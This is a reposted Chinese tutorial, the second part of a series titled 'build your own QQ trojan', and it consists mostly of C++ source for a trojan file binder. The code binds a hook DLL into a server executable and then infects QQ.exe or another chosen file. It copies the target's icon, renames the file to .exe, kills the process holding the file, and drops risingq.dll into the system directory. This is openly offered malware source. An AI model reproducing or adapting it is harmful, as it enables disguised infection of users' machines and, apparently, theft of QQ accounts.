自己动手做QQ木马--文件绑定篇(二)

类别:VC语言 点击:0 评论:0 推荐:

 接上篇:

代码如下:
//根据返回值判断是否继续执行本文件
bool CBindFile::Initiate()
{
    int i = 0, k = 0;
    DWORD dwErrorCode = 0;
    DWORD dwFileLen = GetFileSize(hFileMyself, NULL); 
    //此外加入捆绑器程序的最终大小,来判断是绑定文件还是分解执行文件
    if(dwFileLen == lenOrigin)
    {
 //去绑定HOOK.dll
 strToBindFilePath = "hook.dll";
 strFinalFilePath  = "Server.exe";
 lstrcpy(m_Ext, "dll");         
  
 if(Bind_File())
 {
     //成功绑定
     MessageBox(NULL, "绑定成功!", NULL, NULL);

         } 
         return false;
     }
     else if(dwFileLen == lenOriginAddDll)
    {
 //去绑定目标文件
 //判断本文件是否是server.exe文件
 char szName[7] = {0};
 int i = lstrlen(my_name)-10;
 for(k=0; k<6; k++,i++)
 {
    szName[k] = my_name[i];
 }
 if(0 != lstrcmp(szName, "SERVER"))
 {
    //自动去绑定QQ.exe,可以通过注册表取得QQ的安装路径
    strToBindFilePath = "C:\\Program Files\\Tencent\\QQ.exe";
    lstrcpy(m_Ext, "exe");
 }
 else
 {
    //弹出对话框,等待用户输入
    SelectFileToBind dlg;
    int nRet = -1;
    nRet = dlg.DoModal();
    if(nRet != IDOK)
    {
  MessageBox(NULL, "None input to  get bindfilename", NULL, NULL);
  return false;
    }   
    dlg.GetFilePath(strToBindFilePath);
    if(strToBindFilePath.IsEmpty())
    {
         MessageBox(NULL, "None input filename", NULL, NULL);
  return false;
    }
    //取得文件扩展名,设置m_Ext
    int pt = strToBindFilePath.GetLength()-3;
    for(i=0; i<3; i++)
    {
  m_Ext[i] = strToBindFilePath.GetAt(pt);
  pt++;
    }
    MessageBox(NULL, m_Ext, "PRINT", NULL);
       }
       strFinalFilePath = "000000.exe";
       //先判断目标文件是否已经被绑定过
       HANDLE hDestFile = NULL;
       DWORD bytesin = 0;  
       hDestFile = CreateFile(strToBindFilePath, GENERIC_READ,
   FILE_SHARE_READ, NULL, OPEN_EXISTING,
   FILE_ATTRIBUTE_NORMAL, NULL);
       if(INVALID_HANDLE_VALUE == hDestFile)
       {
     MessageBox(NULL, "判断目标文件时,该文件不打开失败!", NULL, NULL);
     return false;
 }
       SetFilePointer(hDestFile, GetFileSize(hDestFile, NULL)-4,NULL, FILE_BEGIN);   
       if(0 == ReadFile(hDestFile, buf, BUF_SIZE, &bytesin, NULL))
 {
      MessageBox(NULL, "判断目标文件时,读取该文件失败!", NULL,NULL);   
      return false;
 }
 CloseHandle(hDestFile); 
 if(4 != bytesin)
 {
      MessageBox(NULL, "判断目标文件中,读取的字节数不为4!",NULL, NULL);  
      return false;
 } 
 for(i=0; i<4; i++)
 {
      if((buf[i] != szFlag[i]))
      {
  break;
       }else if(3 == i)
      {
  //已经被绑定过,返回
                MessageBox(NULL, "目标文件已经被绑定过!", NULL, NULL);
  return false;
      }
 }  
       //确认没被绑定过则开始绑定
 Bind_File(); 
       //如果被绑定的文件不是EXE文件则把它修改成EXE文件
 if(0 != lstrcmp(m_Ext, "exe"))
 {
  DeleteFile(strToBindFilePath);
  //修改文件扩展名
  CString strToBindFilePath1;
  strToBindFilePath1 = strToBindFilePath.Left(strToBindFilePath.GetLength()-3);   
  strToBindFilePath1 += "exe";
  strToBindFilePath.Empty();
  strToBindFilePath = strToBindFilePath1;
 }
 BOOL bResult;
 bResult = CopyFile(strFinalFilePath, strToBindFilePath, false);
        dwErrorCode = GetLastError();
 if(32 == dwErrorCode)
 {
         //其他进程正在使用该文件,结束该进程
         TCHAR szFileName_Exe[MAX_PATH];
  strToBindFilePath.MakeUpper();
  lstrcpy(szFileName_Exe, (LPCTSTR)strToBindFilePath);
                if(TRUE == CloseProcessFromName(szFileName_Exe))
  {
                   bResult = CopyFile(strFinalFilePath, strToBindFilePath, false);
                   dwErrorCode = GetLastError();
     CString str;
                   str.Format("%d CopyFiles Error code  %d", bResult, dwError);
     MessageBox(NULL, str, NULL, NULL);
  }
 }
 DeleteFile(strFinalFilePath); 
 return false;
     }
     else
    {
 //判断是否是需要HOOK的目标文件
        if(IsSpecFileName("QQ.EXE"))
 {
    //分解HOOK.dll和目标文件
    TCHAR szSysPath[MAX_PATH];
    ::GetSystemDirectory(szSysPath, MAX_PATH);
    strUnbindFilePath_Dll = szSysPath;
    strUnbindFilePath_Dll += "\\risingq.dll";  
    MessageBox(NULL, strUnbindFilePath_Dll, "PRINT", NULL);
    Unbind_and_Run();
    return true;
 }
 else
 {
     //如果本程序不是目标HOOK的文件则再分解出一个原文件SERVER运行
     MessageBox(NULL, "正在运行的不是目标文件", NULL, NULL);
     CloneMySelf_and_Run();
     return false;
 }
    }
}
2. Bind_File()
//绑定指定的文件生成一个合成文件
bool CBindFile::Bind_File()
{
     HANDLE hFileOut    = NULL;             //最终合成文件
     HANDLE hFileIn     = NULL;              //待绑定文件
     DWORD dwFileInLen  = 0;                //待绑定文件长度
     DWORD bytesin      = 0;                 //一次输入的字节数
     DWORD bytesout     = 0;                 //一次输出的字节数
     unsigned int i = 0, k = 0;
     BYTE  *bufMyself   = NULL;            
 
     modify_data.my_length = GetFileSize(hFileMyself, NULL);
     if (0 == modify_data.my_length)
     {
         MessageBox(NULL, "绑定文件中,自身文件长度为零时出错!","错误", MB_OK);
  return false;
     }
     bufMyself = new BYTE[modify_data.my_length];
     if(NULL == bufMyself)
    {
 MessageBox(NULL, "绑定文件中,分配内存失败!", NULL, NULL);
 return false;
    }
    ZeroMemory(bufMyself, modify_data.my_length);
    SetFilePointer(hFileMyself, 0, NULL, FILE_BEGIN);
    //读取本文件数据
    if (0 == ReadFile(hFileMyself, bufMyself, modify_data.my_length, &bytesin, NULL))
    {
 delete[] bufMyself;
        MessageBox(NULL, "绑定文件中,不能完全读取自身文件内容时出错!","错误", MB_OK);
 return false;
     }
    if(0 == lstrcmp(m_Ext, "dll"))  //绑定DLL时定位自身文件大小
    {
        for (i = 0; i < modify_data.my_length - sizeof(modify_data.finder);
      i += sizeof(modify_data.finder))
 {
     for (k = 0; k < sizeof(modify_data.finder); k++)
     {
  if (bufMyself[i+k] != ((BYTE*)&modify_data.finder)[k])
         break;
     }
    if (k == sizeof(modify_data.finder))   //定位并保存自身数据文件大小
    {
  memcpy(bufMyself+ i, &modify_data, sizeof(modify_data));
  break;
    }
        } 
        if (i >= modify_data.my_length - sizeof(modify_data.finder))
       {
     delete[] bufMyself;
            MessageBox(NULL, "绑定文件中,不能定位自身文件时出错!","错误", MB_OK);
     return false;
       }
    }
    //如果绑定的是PE文件则拷贝该PE文件的图标到最终的合并文件中。
    if ( 0 == lstrcmp(m_Ext, "exe") )
    {
 Modify_MyIcon(bufMyself);
    }

    //创建最终合并后的文件
    hFileOut = CreateFile(strFinalFilePath, GENERIC_WRITE,
  FILE_SHARE_READ, NULL, OPEN_ALWAYS,
  FILE_ATTRIBUTE_NORMAL, NULL);
    if (INVALID_HANDLE_VALUE == hFileOut)
    {
 delete[] bufMyself;
 MessageBox(NULL, "绑定文件中,创建绑定后生成的合成文件时出错!","错误", MB_OK);
 return false;
    }
    //写本文件数据到输出的文件中
    WriteFile(hFileOut, bufMyself, bytesin, &bytesout, NULL);
    //释放存放自身文件数据的大内存,以后使用buf做缓冲区 
    delete[] bufMyself; 

    //打开要绑定的文件
    hFileIn = CreateFile(strToBindFilePath, GENERIC_READ,
  FILE_SHARE_READ, NULL, OPEN_EXISTING,
  FILE_ATTRIBUTE_NORMAL, NULL);
    if (INVALID_HANDLE_VALUE == hFileIn)
    {
 MessageBox(NULL, "绑定文件中,打开第一个要绑定文件时出错!","错误", MB_OK);
 return false;
    }
    //取的待绑定文件长度
    dwFileInLen = GetFileSize(hFileIn, NULL);
    if(0 == dwFileInLen)
    {
 CloseHandle(hFileIn);
 CloseHandle(hFileOut);
 MessageBox(NULL, "绑定文件中,读取要绑定文件时出错!","错误", MB_OK);
 return false;
     }
     //写入要绑定文件的长度到合成文件中
     WriteFile(hFileOut, &dwFileInLen, sizeof(dwFileInLen), &bytesout, NULL);
     //写入最终分解后文件的扩展名
     WriteFile(hFileOut, m_Ext, 3, &bytesout, NULL);
    //读取待绑定文件数据写入输出文件中
    do
    {
 if(0 == ReadFile(hFileIn, buf, BUF_SIZE, &bytesin, NULL))
 {
  CloseHandle(hFileIn);
  CloseHandle(hFileOut);
                MessageBox(NULL, "文件绑定中,读取待绑定文件字节大小不符!", NULL, NULL);
  return false;
 }
 WriteFile(hFileOut, buf, bytesin, &bytesout, NULL);
    }while(0 != bytesin);
 
    if(0 != lstrcmp(m_Ext, "dll"))
    {
 //绑定非DLL时写入该文件被绑定过的标志
 if(0 == WriteFile(hFileOut, szFlag, lstrlen(szFlag), &bytesout, NULL))
 {
      MessageBox(NULL, "绑定文件中,写入被绑定过的标志出错.",NULL, NULL);
      return false;
 }
    }
    CloseHandle(hFileIn);
    CloseHandle(hFileOut);
     return true;
}
   这里主要解释一下modify_data, 它是一个MODIFY_DATA结构的全局变量,其结构如下:
struct MODIFY_DATA {
 DWORD finder;                    //常量(定位自身)
 DWORD my_length;                 //文件长度(自身)
} modify_data = {0x78563412, 0};
因全局变量存放在PE文件的.data数据区,只要打开文件搜索finder,就可以找到该变量在PE文件中的存放位置。
然后在该位置写入my_length的大小。以后该文件运行时modify_data就被初始化为写入的大小了。当然这种方
法是有风险的,可能存在多个finder数据。

本文地址:http://com.8s8s.com/it/it1900.htm